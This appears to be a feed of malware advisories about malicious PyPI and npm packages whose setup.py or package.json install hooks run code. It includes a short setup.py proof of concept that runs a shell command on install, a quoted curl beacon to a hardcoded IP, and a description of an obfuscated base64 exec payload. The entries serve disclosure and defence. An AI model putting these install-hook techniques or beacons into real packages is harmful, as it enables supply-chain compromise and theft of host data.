CVE-2026-21016-Malicious-PyPI-Package-Install-Hook-setup.py-Execution-

CVE-2026-21016 – Malicious PyPI Package Install Hook setup.py Execution Program Code Python setup.py - Malicious package that executes during install from setuptools import setup import os This runs on pip install os.system'id /tmp/pwnedbypackage' setup name='harmless-pkg', version='1.0',...

Malware in @bigdevin55/calculator-install-hook

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outsid...

MAL-2026-18466 Malicious code in @bigdevin55/calculator-install-hook (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 47b31798da27fd690ed90f5702bbe7458e3363fa5488b9d2c77ddd8e17da6111 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @bigdevin55/calculator-install-hook (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 47b31798da27fd690ed90f5702bbe7458e3363fa5488b9d2c77ddd8e17da6111 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in semveer (PyPI)

Source: amazon-inspector d86237b957fd063a0e1fcf250a510b2fb9566ab48652e56fe787d2e1a02e351a The sdist for 'semveer' ships an inert module semveer/init.py contains only a version stub and places all runtime behavior inside setup.py's install hook. On pip install, setup.py calls...

Malicious code in semveer (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d86237b957fd063a0e1fcf250a510b2fb9566ab48652e56fe787d2e1a02e351a The sdist for 'semveer' ships an inert module semveer/init.py contains only a version stub and places all runtime behavior inside setup.py's install...

MAL-2026-18102 Malicious code in semveer (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d86237b957fd063a0e1fcf250a510b2fb9566ab48652e56fe787d2e1a02e351a The sdist for 'semveer' ships an inert module semveer/init.py contains only a version stub and places all runtime behavior inside setup.py's install...

MSC-2026-12689

The PyPI package lore-cs version 1.0.0 source distribution is a dependency-confusion package with a malicious install hook. setup.py calls a beacon function at module level, so any pip install from source silently POSTs the hostname, install path and current working directory to an...

MAL-2026-16413 Malicious code in @tvg-mar/promos-gtm (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0c4ce7a8a15cabec2c11f60085a7b3bac2cc905ef037e5ce28d6dd3dd847ef28 @tvg-mar/[email protected] executes an out-of-band DNS exfiltration routine both at install time via a scripts.install hook running node index.js and...

Malicious code in test1df23 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 67708642854d76da722a8130de47a8fb7fd23f0035cf646f1bf16d97419e5756 package.json declares preinstall and postinstall hooks that execute index.js on npm install. index.js issues an HTTP GET to the hardcoded bare IP...

Malicious code in claude-channel-discord (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 40db25d41cbf34007ee5be9e31462d8346c3ec51dcb5b72160e76739aaedf4ad [email protected] is a dependency-confusion probe. package.json declares preinstall and postinstall hooks node index.js --save-prod and a...

Malicious code in uvhttp-custom (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bf8bf69e0edd8a79c920c35d2c49e722b38d801c07401dfb673bdb1beb6ea3fc setup.py contains an obfuscated payload of the form lambda : execimport'base64'.b64decode'...'.decodeNone alongside an otherwise-benign setuptools...

MAL-2026-15863 Malicious code in uvhttp-custom (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bf8bf69e0edd8a79c920c35d2c49e722b38d801c07401dfb673bdb1beb6ea3fc setup.py contains an obfuscated payload of the form lambda : execimport'base64'.b64decode'...'.decodeNone alongside an otherwise-benign setuptools...

MAL-2026-15809 Malicious code in tallyboxlite (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 960a6b94c28c7be92373f0f2125106f8e6d0d500a5ca3988292e2bd7e189033c Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLYPENTES...

Malicious code in auth-app-streamlit (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 9662b50ee4db956c8a7ec0bd4e1c9842f709ab2d5d181c325702c727e9e8a199 Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLYPENTES...

Malicious code in flyteplugins-agento11y (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 46ad72ab2f7b1b228296686a3090c2c81be3a2257b47fa801b300c1f7b66c09a Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLYPENTES...

Malicious code in mathkitlite (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 c91a8962fd66464487bcdb5e2c217990cfdea55df22e7166c11703f91dfb7845 Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLYPENTES...

Malicious code in 0xfighter3 (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 5a97978609c71d681a69a2da613c5e52b257a2062d7805b8db25243db50ff36f Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLYPENTES...

MAL-2026-14525 Malicious code in 0xfighter3 (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 5a97978609c71d681a69a2da613c5e52b257a2062d7805b8db25243db50ff36f Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLYPENTES...

MAL-2026-14400 Malicious code in sm-session (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24 package.json declares preinstall and postinstall lifecycle scripts that each run curl -s http://16.192.173.5/sm-session/pre and curl -s...